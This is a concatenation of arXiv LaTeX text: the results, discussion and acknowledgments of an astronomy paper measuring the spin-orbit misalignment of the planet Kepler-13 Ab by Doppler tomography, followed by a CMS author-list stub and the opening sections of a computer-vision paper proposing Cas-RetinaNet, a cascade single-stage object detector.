\caption{Transit signature of Kepler-13 Ab, using the best quality HET data (all transits except those of 2011 Nov 5 and 2012 Jun 7, which were excluded due to lower signal-to-noise; see Table~\ref{observations}). The transit signature is the bright streak moving from lower left to upper right. Note the large ($\sim 0.1$ of the depth of the line profile) systematics. Notation on the figure is the same as on Fig.\ \ref{wasp33}. \label{koi13_avg}}
\end{figure}
\begin{figure}
\plotone{f6col.eps}
\caption{Same as Fig.\ \ref{koi13_avg}, except subtracting off the average line profile from each night. Note that most of the systematics have vanished, but the amplitude of the transit signature has also been reduced. Notation on the figure is the same as on Fig.\ \ref{wasp33}. \label{koi13_nights}}
\end{figure}
\begin{figure}
\plotone{f7col.eps}
\caption{Transit signature of Kepler-13 Ab, subtracting off the average line profile from each night and using all of our data. For display purposes points with fractional deviations from the out of transit line profile greater than 0.11 or less than -0.08 have been set to these values, in order to better display the transit signature. This only affects the earliest spectrum. Notation on the figure is the same as on Fig.\ \ref{wasp33}. \label{koi13joined}}
\end{figure}
Our best-fit values and 1-$\sigma$ uncertainties from the MCMCs are shown in Table \ref{values}. We present values from both directly fitting the data and fitting the shifted and binned data; these two methods give consistent results. The binned data have smaller uncertainties, but in order to be conservative and as the direct fits have a reduced chi-squared closer to 1 ($\chi^2_{red}=1.13$ for the direct fit, $\chi^2_{red}=0.66$ for the shifted and binned fit), we quote these values.
We find a best-fit spin-orbit misalignment of $\lambda=58.6^{\circ} \pm 1.0^{\circ}$, in disagreement with the value of $\lambda=23^{\circ}\pm4^{\circ}$ found by \cite{Barnes11}. We also find $b=0.256 \pm 0.011$. We note that the quoted uncertainties on these parameters are the formal statistical uncertainties, given the assumptions made in our models. They do not include systematic uncertainties, which we discuss in detail later in this section. In Fig.\ \ref{koi13resids} we show the time series line profile residuals with the best-fit model, using these parameters, subtracted off.
\begin{figure}
\plotone{f8col.eps}
\caption{Same as Fig.\ \ref{koi13joined}, but with the best-fitting transit model subtracted. The transit signature is well subtracted. For display purposes points with fractional deviations from the out of transit line profile greater than 0.11 or less than -0.08 have been set to these values, in order to better display the transit signature. This only affects the earliest spectrum. Notation on the figure is the same as on Fig.\ \ref{wasp33}. \label{koi13resids}}
\end{figure}
We note that our data also permit a second solution, with $\lambda=16.04^{\circ} \pm 0.72^{\circ}$ and $b=0.856 \pm 0.014$. This solution, however, has a slightly worse value of reduced chi-squared ($\chi^2_{red}=1.03$) and moreover implies a physically unrealistically low value for the stellar mean density, $\bar{\rho}_*=0.04$ g cm$^{-3}$. We calculated the stellar mean density using Eqn.~9 of \cite{SeagerMallenOrnelas03}, which is, using the nomenclature used in this article,
\begin{equation}
\bar{\rho}_*=\bigg(\frac{4\pi^2}{P^2G}\bigg)\bigg(\frac{(1+R_p/R_*)^2-b^2[1-\sin^2(\tau_{14}\pi/P)]}{\sin^2(\tau_{14}\pi/P)}\bigg)^{3/2}
\end{equation}
where $P$ is the planetary orbital period and $\tau_{14}$ is the transit duration, both measured from {\it Kepler} photometry. Note that the inferred stellar mean density depends only upon our measurement of $b$ and does not directly depend upon $\lambda$. Given this stellar mean density and the stellar surface gravity measured by \cite{Szabo11} ($\log g=3.9\pm0.1$), we have two independently-measured parameters which physically depend only on the stellar mass and radius; thus, we can estimate the stellar mass and radius implied by $\bar{\rho}_*$ and see whether it is compatible with the other system parameters. A value of $\bar{\rho}_*=0.04$ g cm$^{-3}$ implies a stellar radius of $R_*=8-13 R_{\odot}$ and mass of $M_*=15-60 M_{\odot}$, parameters which are incompatible with the \cite{Szabo11} value of $T_{eff}=8511^{+401}_{-383}$ K, as well as the other measured parameters of the system. Performing the same exercise for $b=0.256$ results in a stellar mass and radius consistent with those found by \cite{Szabo11} and \cite{Barnes11}. The full $\chi^2$ space for our data is shown in Fig.~\ref{chi2space}.
\begin{figure}
\plotone{f9col.eps}
\caption{Reduced $\chi^2$ space for our shifted and binned data, in $\lambda$ and $b$. The four solutions allowed by \cite{Barnes11} and their associated uncertainties are marked by diamonds; \cite{Barnes11} did not quote an uncertainty on their value of $b$. The two best-fit solutions allowed by our data are denoted by squares. For this display we allow negative values of $b$; note that a transit chord with ($+\lambda, -b$) is identical to one with ($-\lambda, +b$). The contours denote $\chi^2_{\mathrm{red}}=1, 2, 3, 4$. \label{chi2space}}
\end{figure}
We also observed two transits of Kepler-13 Ab using the HJST. These data are shown in Fig.\ \ref{koi13hjst}. Like for the HET, in order to produce the time series line profile residuals, we subtract off the average line profile from each night rather than an out-of-transit line profile from both nights. The data are at a much lower signal-to-noise level than our HET data (the RMS scatter of the normalized continuum is 0.037 times the line depth), and the transit is not readily apparent to the eye in the time series line profile residual map. We apply the bin-and-shift method to the HJST data (see Fig.\ \ref{koi13binned}, bottom). Here, we recover the same transit signature seen in the HET data, albeit at lower signal-to-noise. Here we measure values of $\lambda=60.5^{\circ} \pm 1.1^{\circ}$ and $b=0.168 \pm 0.010$. The spin-orbit misalignment is in mild disagreement with the value from the direct fit to the HET data, at a level of $1.3\sigma$ for $\lambda$, while there is a strong $6\sigma$ disagreement between the impact parameter found from the HET and HJST data. One possible cause is the varying degree of contamination from Kepler-13 B during the observations due to field rotation (as noted above, the TS23 is a slit spectrograph). Another possible cause is the poorer time resolution of the HJST data as compared to the HET (exposure times were 900 s for the HJST and 300 s for the HET). In the spectroscopic data the impact parameter is constrained, in part, by how quickly the transit signature increases (decreases) between first and second (third and fourth) contacts. Thus, the lower time resolution of the HJST could introduce larger systematic uncertainties in these data. Additionally, the values above include only statistical uncertainties, which overstate the true degree of discrepancy between the HET and HJST values. We have, however, been unable to positively identify the source of this discrepancy.
\begin{figure}
\plotone{f10topcol.eps}
\plotone{f10bottomcol.eps}
\caption{Top. Transit data from the HET, binned according to the scheme discussed in the text. Bottom. Same as top, but for the HJST data. A bright spot is visible in the same location as in the HET data, indicating a low signal-to-noise detection of the transit. The contours are the same as in Fig.~\ref{wasp33shift}. The dark sidelobes on either side of the bright transit signature (especially prominent in the HET data, top) are the result of subtracting off the average line profile from each night, rather than an out-of-transit line profile. \label{koi13binned}}
\end{figure}
\begin{figure}
\plotone{f11col.eps}
\caption{Transit data on Kepler-13 Ab from the HJST, using data from both observed transits. The transit signature is not apparent to the eye. Notation on the figure is the same as on Fig.\ \ref{wasp33}. \label{koi13hjst}}
\end{figure}
The formal uncertainties on our values for $\lambda$ and $b$ quoted earlier are the statistical uncertainties given the assumptions that we have made in our models (no differential rotation or microturbulence, etc.) and do not contain information on systematic sources of uncertainty, which we will now discuss.
One possible source of systematic errors is the presence of differential rotation, which we have neglected in our models. \cite{AmmlervonEiffReiners12} analyzed the line profiles of A and F dwarfs for evidence of differential rotation. They found no stars with $T_{\mathrm{eff}}\gtrsim8500$ K that exhibited differential rotation. \cite{Balona13}, however, used Fourier analysis of the {\it Kepler} lightcurves of A stars to infer that these stars exhibit a similar degree of differential rotation to the sun. We constructed a modified version of our models that include differential rotation, and conducted a version of our first MCMC, fitting to the line profile shape, in order to constrain the differential rotation. For a differential rotation law $\omega=\omega_0-\omega_1\sin^2\phi$, where $\phi$ is the latitude on the stellar surface, the differential rotation parameter $\alpha$ can be defined as $\alpha=\omega_1/\omega_0$ \citep[for the Sun, $\alpha=0.20$;][]{ReinersSchmitt02}. We note that we also need to include the stellar inclination $i$ with respect to the line of sight in this model; however, we find $i$ to be totally unconstrained. The results of this exercise indicate the presence of a small amount of differential rotation. Overall, we find $\alpha=0.050 \pm 0.028$; however, there does exist a degeneracy such that higher values of $|i|$ result in larger preferred values for $\alpha$: we find $\alpha=0.034 \pm 0.017$ for $i=0^{\circ}$ and $\alpha=0.046 \pm 0.023$ for $|i|=48^{\circ}$, the value found by \cite{Barnes11}. This is consistent with the results of \cite{Szabo14}, who found splitting of the frequency spectrum peak associated with rotation, likely due to differential rotation.
In order to test the effects of this level of differential rotation on our measurement of the transit parameters, we modified our second MCMC to include differential rotation. We added two parameters, $\alpha$ and the stellar inclination $i$. $i$ was allowed to float, while, due to the dependence of the best-fit $\alpha$ on $i$, we included a variable prior on $\alpha$ depending on the value of $i$. Marginalizing over $i$ in 5$^{\circ}$ bin sizes, we found the mean and standard deviation of $\alpha$ for each bin and used these as the prior center and width for the new MCMC. From this MCMC, we obtain $\lambda=56.56^{\circ} \pm 0.85^{\circ}$ and $b=0.2870 \pm 0.0095$. We note that the presence of even strong differential rotation cannot bring our value of $\lambda$ into agreement with that found by \cite{Barnes11}.
We also neglected macroturbulence in our models, which could potentially induce systematic uncertainties in our measured values of $\lambda$, $b$. Measurements of macroturbulence in A dwarfs in the literature are somewhat lacking. \cite{SimonDiazHerrero13} found varying degrees of macroturbulent broadening for B dwarfs, ranging from none to several tens of km s$^{-1}$ (they note that this ``macroturbulence'' is not necessarily physical turbulence). \cite{Fossati11} measured macroturbulent broadening of order $\sim10$ km s$^{-1}$ for two late A dwarfs. \cite{Aerts09} argued that ``macroturbulence'' in early-type stars is actually due to the collective action of many low-amplitude pulsational modes; early-type stars which do not pulsate should not show this type of macroturbulence. Even with {\it Kepler}'s photometric precision, there is little evidence for any pulsation of Kepler-13 A which could result in this type of macroturbulence. \cite{Cantiello09} conducted simulations of convection in the outer layers of massive stars due to an opacity peak produced by Fe ionization. They found that such zones can cause surface granulation and consequent small-scale velocity fields in stellar photospheres. They find, however, that this effect does not occur for stars with $L<10^{3.2} L_{\odot}$ for Galactic metallicities, and is furthermore more prominent at low surface gravities. As Kepler-13 A is below this luminosity cutoff ($L=10^{1.5} L_{\odot}$) and has high surface gravity \citep[$\log g=3.9 \pm 0.1$;][]{Szabo11}, we conclude that surface granulation due to this mechanism should not occur for Kepler-13 A.
A key question for estimating the effects of macroturbulence upon our results lies with the scales of macroturbulent velocity fields in the stellar atmosphere. If these scales are much smaller than the size of the projected planetary disk during the transit, then this will simply increase the range of radial velocities over which the planet subtracts light from the line profile. The effect will be to ``smear out'' the transit signature, but this should not affect the measured value of $\lambda$. If, however, the macroturbulent velocity field changes on scales of similar or greater size as the planetary disk, then the velocity of the region of the stellar disk covered by the planet will differ from that expected if taking only rotation into account. Thus, the planetary transit signal in each spectrum will exhibit a quasi-random shift from the expected velocity.
\cite{KallingerMatthews10} presented evidence that some of the large number of frequencies seen in the frequency spectra of $\delta$ Sct (early A) stars observed by CoRoT are in fact due to surface granulation rather than pulsations, as pulsations at these frequencies would be of such high degree $l$ that they should not be evident in integrated disk photometry. Based upon the inferred granulation frequencies, they find that the granulation properties follow scaling laws derived for solar-type stars. When scaling from such solar models, \cite{Stello07} make the assumption that the size of granulation cells is proportional to the atmospheric pressure scale height $H_P$. \cite{KjeldsenBedding95} use the scaling relation $H_P\propto T_{eff}/g$. Using these relations and the stellar properties of Kepler-13 A from \cite{Szabo11}, we estimate that the size of any surface granulation cells for Kepler-13 A should be $\sim5$ times that of such cells on the Sun, or $\sim0.1 R_J$, comfortably below the size scale of the planetary disk \citep[using an average solar granule size of 1300 km, from][]{Gray}. Nonetheless, given the uncertainty in the relations used to derive this estimate, we choose to include ``jitter'' caused by large-scale macroturbulent cells in the stellar atmosphere in our MCMCs (note that this is not the same as the jitter frequently invoked as a source of noise in radial velocity observations).
In order to simulate the effect of macroturbulence on the size scale of the planet, we use the following approach. We allow each of the time series line profile residuals to have a small velocity offset from its nominal value. The effect of this is to shift the transit signature in that line profile residual in velocity space. Since we have already subtracted off the average line profile shape, this mimics a velocity shift of the transit signature due to large-scale macroturbulence rather than a radial velocity offset for the entire line profile. For computational reasons we apply this velocity shift to the model line profile residuals, not the data. At each MCMC step, we perform a single parameter minimization for each velocity offset using MPFIT. Similar methodologies have been used by \cite{AlbrechtMultis} to deal with jitter and by \cite{Albrecht14} to handle stellar pulsations. We limit the velocity offset amplitude to 15 km s$^{-1}$ in order to prevent the model transit signatures from latching on to the remaining systematics in the data. The mean offset amplitude is 5.7 km s$^{-1}$. From these MCMCs, we obtain $\lambda=60.4^{\circ} \pm 1.6^{\circ}$ and $b=0.230 \pm 0.030$.
We thus find that including ``jitter'' and differential rotation have opposite systematic effects on our results: large-scale macroturbulence shifts the best-fit parameters to higher $\lambda$ and lower $b$, while differential rotation shifts them to lower $\lambda$ and higher $b$. Thus, we expect that these effects should largely cancel each other out, and our overall result should not be affected, while increasing the uncertainty in our results. In order to remain $1\sigma$ consistent with both the differential rotation and ``jitter'' MCMC results, we therefore adopt $\lambda=58.6^{\circ} \pm 2.0$ and $b=0.256 \pm 0.030$.
Additionally, our model assumes an intrinsic line standard deviation of 5 km s$^{-1}$. In order to test the impact of this assumption on our results we fit a model with an intrinsic line standard deviation of 10 km s$^{-1}$ to our data. This did not significantly alter our measured values of $\lambda$ and $b$ or the $\chi^2_{\mathrm{red}}$ value of the model fits, and so we conclude that this has minimal impact on our measurements.
\begin{deluxetable*}{cccccc}
\tablecolumns{5}
\tablewidth{0pt}
\tablecaption{Best-Fit Values for Kepler-13 A\lowercase{b} Parameters \label{values}}
\tablehead{
\colhead{Parameter} & \colhead{Adopted} &\colhead{HET direct fit} & \colhead{HET binned fit} & \colhead{HJST binned fit}
}
\startdata
$v\sin i_A$ (km s$^{-1}$) & \ldots& $76.96 \pm 0.61$ & \ldots & \ldots \\
$v\sin i_B$ (km s$^{-1}$) & \ldots& $63.21 \pm 1.00$ & \ldots & \ldots \\
\hline
$\lambda$ ($^{\circ}$) & $58.6 \pm 2.0$ & $58.6 \pm 1.0$ & $58.24 \pm 0.68$ & $60.5 \pm 1.1$ \\
$b$ & $0.256 \pm 0.030$ & $0.256 \pm 0.011$ & $0.266 \pm 0.007$ & $0.168 \pm 0.010$
\enddata
\tablecomments{The quoted uncertainties for all except the ``adopted'' column are the formal statistical uncertainties and do not take systematic uncertainties into account.}
\end{deluxetable*}
In addition to detecting the transit signal of the planet Kepler-13 Ab, we set upper limits on the mass of the tertiary stellar companion Kepler-13 C. We follow \cite{GulliksonDodsonRobinson} to cross-correlate all HET spectra against model spectra of late-type stellar companions and search for significant cross-correlation function (CCF) peaks. Since the orbit of Kepler-13 B is known \citep{Santerne12}, we can predict the velocity of Kepler-13 C by assuming some guess mass. We can then shift the CCFs by that velocity and co-add them, amplifying any CCF peak arising from a detection of Kepler-13 C if the guess mass is correct. While we do not detect the spectral signature of Kepler-13 C for any guess mass from 0.2 - 1.5 $M_{\odot}$, we perform a sensitivity analysis by injecting synthetic companion spectra into the data and repeating the above procedure. The rate of detection is shown as a function of the effective temperature of the companion in Fig.\ \ref{Csensitivity}.
This analysis indicates that we would detect a main sequence companion with effective temperature of $T_{\mathrm{eff}}>4700$ K (corresponding to a mass $>0.75 M_{\odot}$) 95\% of the time, allowing us to set a mass limit on Kepler-13 C of $<0.75 M_{\odot}$ at 95\% confidence. Combined with the value of $M\sin i=0.4 M_{\odot}$ found by \cite{Santerne12}, we limit the mass of Kepler-13 C to $0.4 M_{\odot}<M<0.75 M_{\odot}$. We note that, as Kepler-13 C has not been directly detected, it could in principle be a white dwarf rather than a late-type dwarf (white dwarfs were not included in our spectral library for cross-correlation due to flux ratio issues).
\begin{figure}
\plotone{f12.eps}
\caption{Detection rate of synthetic spectral signals of Kepler-13 C injected into our data as a function of the effective temperature of the companion, assuming that it is a main sequence star. \label{Csensitivity}}
\end{figure}
\section{Discussion}
\label{discussion}
Our best-fit value for the spin-orbit misalignment for Kepler-13 Ab, $\lambda=58.6^{\circ} \pm 2.0^{\circ}$, is in stark disagreement with the value of $\lambda=23^{\circ} \pm 4^{\circ}$ found by \cite{Barnes11}. Even if we fix $b$ to the value found by \cite{Barnes11}, we obtain a spin-orbit misalignment of $\lambda\sim54^{\circ}$, still in disagreement with the gravity darkening value. We do not have a definitive explanation for the mismatch between our result and that from \cite{Barnes11}. We note, however, that our value relies upon fewer assumptions regarding the physical nature of the star (e.g., the gravity-darkening law and gravity-darkening parameter), and thus is likely more robust. Additionally, \cite{Barnes11} fixed the effective temperature of the pole of Kepler-13 A to 8848 K, the temperature from the Kepler Input Catalog (KIC), rather than a more accurate spectroscopic value \citep[$T_{\mathrm{eff}}=8511^{+401}_{-383}$, from][though these values for the temperature differ by less than 1$\sigma$]{Szabo11}. The fact that Kepler-13 is a near-even flux ratio binary is also not accounted for in the KIC. \cite{Barnes11} could not account for any effects of the tertiary stellar companion Kepler-13 C upon the transit lightcurve, as this companion had not yet been discovered \citep{Santerne12}. Kepler-13 C, however, should contribute somewhere between 0.8\% and 0.03\% of the total flux of the system, given our limits on its mass, insufficient to significantly affect the dilution. Variability of either Kepler-13 B or C would need to occur on the orbital period of Kepler-13 Ab, or on a harmonic thereof, in order to systematically affect the light curve shape, which is unlikely. Finally, \cite{Barnes11} found a rotation period of 22.0 hours for Kepler-13 A by fitting their model to the data, slightly shorter than the likely rotation period of 25.4 hours found by \cite{Szabo14} in the {\it Kepler} data. While it is unclear whether the 25.4 hour period is indeed due to stellar rotation, if this is rotation then, given this and the likely too high value of $T_{eff}$ assumed by \cite{Barnes11}, the actual temperature (and therefore surface brightness) contrast between the poles and equator of Kepler-13 A should be smaller than that assumed by \cite{Barnes11}. The effects of this upon the lightcurve shape and the resulting inferred spin-orbit misalignment, however, are not qualitatively obvious, and a quantitative analysis is beyond the scope of this work.
As noted above, there is a great deal of disagreement in the literature as to the value of the impact parameter $b$, with published values ranging from 0.253 \citep{Szabo12} to 0.75 \citep{Mazeh12,Szabo11}. As noted earlier, these discrepancies cannot be attributed to precession of the planetary orbital plane \citep{Szabo12}. Our value of $b=0.256 \pm 0.030$ agrees to within $1\sigma$ only with the published measurement of \cite{Szabo12}, and is in disagreement with other published values by up to $16\sigma$. We note that our value of the impact parameter is obtained directly from the spectroscopy, and is thus largely independent of the previous measurements from the {\it Kepler} photometry (although our model requires the assumption of the transit duration from the photometry, as a prior in the MCMCs). This suggests a possible reason for the discrepancy between our value of $\lambda$ and that from \cite{Barnes11}. The value of $\lambda$ derived from gravity darkening is dependent upon the choice of impact parameter; as the value of $b=0.31962$ used by \cite{Barnes11} differs from the $b=0.256$ that we measure, it is perhaps unsurprising that the two values of $\lambda$ are in disagreement.
Using the value that \cite{Barnes11} measured for the stellar obliquity with respect to the line of sight \citep[$i=-45^{\circ}\pm4^{\circ}$; note that $i$ was denoted as $\psi$ by][]{Barnes11} and our measurement of $\lambda$, we calculate a full three-dimensional spin-orbit misalignment of $\varphi=73.5^{\circ} \pm 2.2^{\circ}$. Given the disagreement of our value of $\lambda$ with that from \cite{Barnes11}, however, it is unclear whether their measurement of $i$ remains applicable.
Despite the presence of an additional star in the Kepler-13 system, \cite{Barnes11} disfavor emplacement of Kepler-13 Ab via Kozai cycles due to the young system age \citep[$\sim700$ Myr, determined using isochrones by][]{Szabo11}, its current circular orbit \citep{Szabo11} or very small eccentricity \citep{Shporer14}, and the long timescale necessary for tidal semi-major axis damping. \cite{Barnes11} estimated that, for an initial Kozai-driven eccentric orbit similar to that currently occupied by HD 80606\,b, the required tidal damping timescale to circularize the orbit at Kepler-13 Ab's current location is $\sim 2\times10^{14}$ years. \cite{Barnes11} also noted that planet-planet scattering remains viable if it took place early enough that a debris disk sufficiently massive to quickly damp out the planetary eccentricity remained in place. Given the characteristics of the Kepler-13 and the highly inclined orbit that we find for Kepler-13 Ab, it seems natural that it could have been emplaced through migration within an inclined disk produced via the mechanism of \cite{Batygin12}. This would require an inclination between the orbital plane of Kepler-13 Ab and that of Kepler-13 BC about Kepler-13 A. Unfortunately, due to the lack of information about the position angle of Kepler-13 Ab's transit chord relative to the Kepler-13 AB separation, and the long orbital period of Kepler-13 BC about A (the projected separation is $\sim500$ AU), this relative inclination is unlikely to be measured in the foreseeable future. The mechanism proposed by \cite{Bate10} could also naturally result in an inclined, circular orbit for Kepler-13 Ab, but would not require the presence of a binary companion. We note, however, that these arguments rest upon the tidal circularization timescale being longer than the age of the system; as tidal theory continues to be not well understood, the eccentricity damping timescale may be very uncertain. Additionally, we note that due to these uncertainties we cannot definitively exclude any mechanisms for the emplacement of Kepler-13 Ab upon its current inclined orbit.
A 25.4-hour periodicity is evident in the {\it Kepler} lightcurves for Kepler-13. This was suggested to be either stellar pulsations \citep{Shporer11} or rotation \citep{Szabo12,Szabo14}. Additionally, \cite{Santerne12} found a 25.5-hour periodicity in their radial velocity measurements of Kepler-13 A. They noted that this radial velocity periodicity could also be due to either pulsations or rotation, but preferred the pulsation explanation because their measured radial velocity semi-amplitude of $1.41 \pm 0.38$ km s$^{-1}$ is much larger than that expected from starspots and rotation. We folded our stellar radial velocity for Kepler-13 Ab (i.e., the radial velocity offset between the solar and stellar barycentric rest frames discussed earlier) on the period found by \cite{Santerne12}, and our data appear to exhibit a similar periodicity and phase. In order to quantify this effect, we computed the generalized Lomb-Scargle periodograms \citep{ZechmeisterKurster09} for the \cite{Santerne12} dataset and our dataset. For the \cite{Santerne12} data we find a best-fitting period of 25.5 hours, and for our dataset, we find a period of 24.7 hours. The false alarm probabilities for these frequencies are 0.9998 and 0.98, respectively, and so we do not consider the detections of these periodicities in the radial velocity data to be statistically significant.
We see no evidence for stellar non-radial pulsations in our data, as are seen for the $\delta$ Sct planet host WASP-33 \citep[][and \S\ref{testing}]{CollierCameron10}, although given the short time span of each of our observations ($\sim1$ hour) such long-period pulsations would not necessarily manifest in our data. In principle we could compare the overall line shape for Kepler-13 A between different transit observations, but the moving line profile of Kepler-13 B would complicate such an effort, and thus we do not attempt such an analysis. We estimate that $\gamma$ Dor-like pulsations (similar in period to the Kepler-13 A periodicity, but typically exhibited by cooler stars) would result in radial velocity shifts of order meters per second \citep[using the results of][]{Mathias04}, far too small to be detected in our data or to affect our conclusions.
The recently launched {\it Gaia} mission should be capable of further improving the characterization of the Kepler-13 system. {\it Gaia} is estimated to have an astrometric precision of $\sim5-14$ $\mu$as for stars with $6 < V < 12$ \citep{Eyer13}, like both Kepler-13 A and B. Thus, it should be capable of detecting both the mutual orbit of Kepler-13 A and BC ($\sim1$ mas yr$^{-1}$ for a circular, face-on orbit) and the orbit of Kepler-13 B about C (total displacement $\sim 200$ $\mu$as). Together with the radial velocity observations of \cite{Santerne12}, this will allow the measurement of the true mass of Kepler-13 C and its orbital plane. While the orbital period of Kepler-13 A around BC is likely too long to obtain a good orbital solution ($P\sim6000$ yr), {\it Gaia} should nonetheless be able to place some constraints upon the system parameters. The astrometric orbit of Kepler-13 A due to Kepler-13 Ab is too small to be detectable by {\it Gaia} (total displacement $\sim0.5$ $\mu$as).
\cite{Barnes11} note that, in principle, the spin-orbit misalignment for Kepler-13 Ab can be measured using a third mechanism: the photometric Rossiter-McLaughlin effect \citep{Shporer12,Groot12}. Unfortunately, given the scatter in the single-quarter \cite{Barnes11} lightcurve of $\sim40$ ppm, and that they estimate the amplitude of the photometric Rossiter-McLaughlin effect to be $\sim4$ ppm, this measurement is probably out of reach of even the full 16-plus quarter {\it Kepler} lightcurve.
\section{Conclusions}
We have constructed a Doppler tomography code which now rivals previously established codes in terms of precision. We have validated this code by analyzing data on a transit of WASP-33 b.
We have presented Doppler tomographic observations for the {\it Kepler} planet Kepler-13 Ab, finding a prograde orbit and measuring a much larger spin-orbit misalignment than that previously found by \cite{Barnes11} via the gravity darkened light curve. Given the disagreement between these two techniques, observations of further systems via both techniques will be of interest to determine the reason for the disagreement.
We have also suggested that, due to its highly inclined, circular orbit, the (likely) long tidal damping timescale of the system, and the presence of a wide binary companion, Kepler-13 Ab may have been emplaced via migration within an inclined disk. Simulations of the system could confirm the viability of this hypothesis for the Kepler-13 system, but these are beyond the scope of the current work.
\vspace{12pt}
Thanks to Michael Endl, Edward L.\ Robinson, and Chris Sneden for guidance during this project; to Andrew Collier Cameron, for valuable discussions; to Douglas Gies and Zhao Guo, for consultations on velocity fields in the atmospheres of early-type stars; to Michel Breger, for consulting on the expected radial velocity pulsation amplitude of Kepler-13 A; and to the anonymous referee, for thorough comments that improved the quality of the paper.
M.C.J.\ gratefully acknowledges funding from a NASA Earth and Space Science Fellowship under Grant NNX12AL59H. This work was also supported by NASA Origins of Solar Systems Program grant NNX11AC34G to W.D.C. Work by S.A.\ was supported by NSF Grant No. 1108595. Work by S.D.R. was supported by NSF grant AST-1055910. J.N.W.\ was partly supported by the NASA Origins program and Kepler Participating Scientist program.
This paper includes data taken at The McDonald Observatory of The University of Texas at Austin. The Hobby-Eberly Telescope (HET) is a joint project of the University of Texas at Austin, the Pennsylvania State University, Stanford University, Ludwig-Maximilians-Universit\"at M\"unchen, and Georg-August-Universit\"at G\"ottingen. The HET is named in honor of its principal benefactors, William P. Hobby and Robert E. Eberly.
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1,477,468,750,019 | arxiv |
\section{The CMS Collaboration \label{app:collab}}\begin{sloppypar}\hyphenpenalty=5000\widowpenalty=500\clubpenalty=5000\input{B2G-16-027-authorlist.tex}\end{sloppypar}
\end{document}
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1,477,468,750,020 | arxiv | \section{Introduction}
Object detection serves as a fundamental task in computer vision field which has made remarkable progress by deep learning in recent years. Modern detection pipelines can be divided into two major categories of one-stage detection and two-stage detection. Generally speaking, two-stage methods (\emph{e.g}\bmvaOneDot {Faster R-CNN~\cite{FasterRCNN}}) have been the leading paradigm with top performance. As a comparison, one-stage approaches (\emph{e.g}\bmvaOneDot {YOLO~\cite{YOLO} and SSD~\cite{SSD}}) which aim at achieving real-time speed while maintaining great performance are attracting more and more attention.
Recent researches focus on improving detection performance from various perspectives~\cite{GIoU, Trident, Regionlets, CornerNet, Revisiting}. A simple idea is adding new stages for additional classifications and regressions which leads to more accurate confidence scores and higher localization performance. Cascade R-CNN~\cite{CascadeRCNN} improves two-stage methods by utilizing cascade sub-networks for gradually increasing the quality of region proposals. As for one-stage methods, RefineDet~\cite{RefineDet} adopts a refinement module to simulate the second regression as in two-stage methods. Consistent Optimization~\cite{ConsistentOptimization} attaches subsequent classification targets for the regressed anchors which reduce the gap between training and testing phases. However, cascade-like single-stage methods ignore the \textit{feature consistency} which limits their effectiveness. For instance, RetinaNet~\cite{FocalLoss}, the state-of-the-art one-stage detection pipeline, generates anchors from feature pyramids and performs classification and regression for each anchor using the feature extracted at the anchor's center point. If we add cascade stages to RetinaNet, the output anchors of the first stage will have shifted center points compared with the original ones. Since most single-stage methods perform feature extraction via sliding window based on the original location instead of the regressed location, feature inconsistency inevitably occurs between different cascade stages.
In this paper, we discover that naively cascading more stages with the same setting as the original one brings no gains for RetinaNet. The main reasons are two-fold: the mismatched correlation between classification confidence and localization performance, and the feature inconsistency in different stages. In RetinaNet, anchors are regarded as positive if its intersection-over-union (IoU) with a ground-truth is higher than a threshold (\emph{e.g}\bmvaOneDot{0.5}). It means that no matter the actual IoU is 0.55 or 0.95, the classification targets are the same. So the classification confidence can not reflect the localization performance as mentioned in IoU-Net~\cite{IoUNet}. We find that the mismatched correlation problem can be naturally addressed in a cascade manner by gradually raising the IoU thresholds for the latter stages since the targets are more consistent with the actual IoU. To deal with the feature misalignments, a simple but effective Feature Consistency Module (FCM) is introduced for adapting the features to the refined locations. Specifically, the offset for each location on the feature map is predicted and a simple deformable convolution~\cite{Deformable} layer is utilized to generate the refined feature map for the following stage. In this cascade manner, a sequence of detectors adapted to increasingly higher IoUs can be effectively trained and the detection results can be refined gradually.
The main contributions of this work are summarized as follows:
\begin{itemize}
\item We revisit the feature inconsistency problem in recent researches and point out two main designing rules for cascade single-stage object detection: \textit{improving the consistency between classification confidence and localization performance}, and \textit{maintaining feature consistency between different stages}.
\item To improve the reliability of classification confidence, IoU thresholds are increased gradually in the cascade manner. FCM is also introduced to mitigate the feature inconsistency between different stages.
\item Without any bells or whistles, our proposed Cas-RetinaNet achieves stable performance gains over the state-of-the-art RetinaNet detector.
\end{itemize}
\section{Related Work}
\textbf{Classic object detectors.}
In advance of the wide development of deep convolutional networks, the sliding-window paradigm dominates the field of object detection for years. Most progress is related to handcrafted image descriptors such as HOG~\cite{HOG} and SIFT~\cite{SIFT}. Based on these powerful features, DPMs~\cite{DPM} help to extend dense detectors to more general object categories and achieves top results on PASCAL VOC~\cite{PASCAL}.
\textbf{Two-stage object detectors.}
In the modern era of object detection, Faster R-CNN~\cite{FasterRCNN}, on representative of two-stage approaches, has been the leading paradigm with top performance on various benchmarks~\cite{COCO, PASCAL, Wider2018}. Several extensions to this framework have been proposed to boost the performance, including adopting multi-task learning scheme~\cite{MaskRCNN}, building feature pyramid~\cite{FPN}, and utilizing cascade manner~\cite{CascadeRCNN}.
\textbf{One-stage object detectors.}
Compared with two-stage methods, one-stage approaches aim at achieving real-time speed while maintaining great performance. OverFeat~\cite{OverFeat} is one of the first modern single-stage object detectors based on deep networks. YOLO~\cite{YOLO, YOLO9000} and SSD~\cite{SSD} have renewed interest in one-stage approaches by skipping the region proposal generation step and directly predicting classification scores and bounding box regression offsets. Recently, Lin~\emph{et al}\bmvaOneDot point out that the extreme foreground-background class imbalance limits the performance and propose Focal Loss~\cite{FocalLoss} to boost accuracy. Generally speaking, most one-stage detectors follow the sliding window scheme and rely on the fully convolutional networks to predict scores and offsets at each localization which is beneficial to reduce the computational complexity.
\textbf{Misaligned classification and localization accuracy.}
Non-maximum suppression (NMS) has been an essential component for removing duplicated bounding boxes in most object detectors since~\cite{HOG}. It works in an iterative manner. At each iteration, the bounding box with the maximum classification confidence is selected and its neighboring boxes are suppressed using a predefined IoU threshold. As mentioned in~\cite{IoUNet}, the misalignment between classification confidence and localization accuracy may lead to accurately localized bounding boxes being suppressed by less accurate ones in the NMS procedure. So IoU-Net~\cite{IoUNet} predicts IoU scores for the proposals to reduce this misalignment.
\textbf{Cascaded classification and regression.}
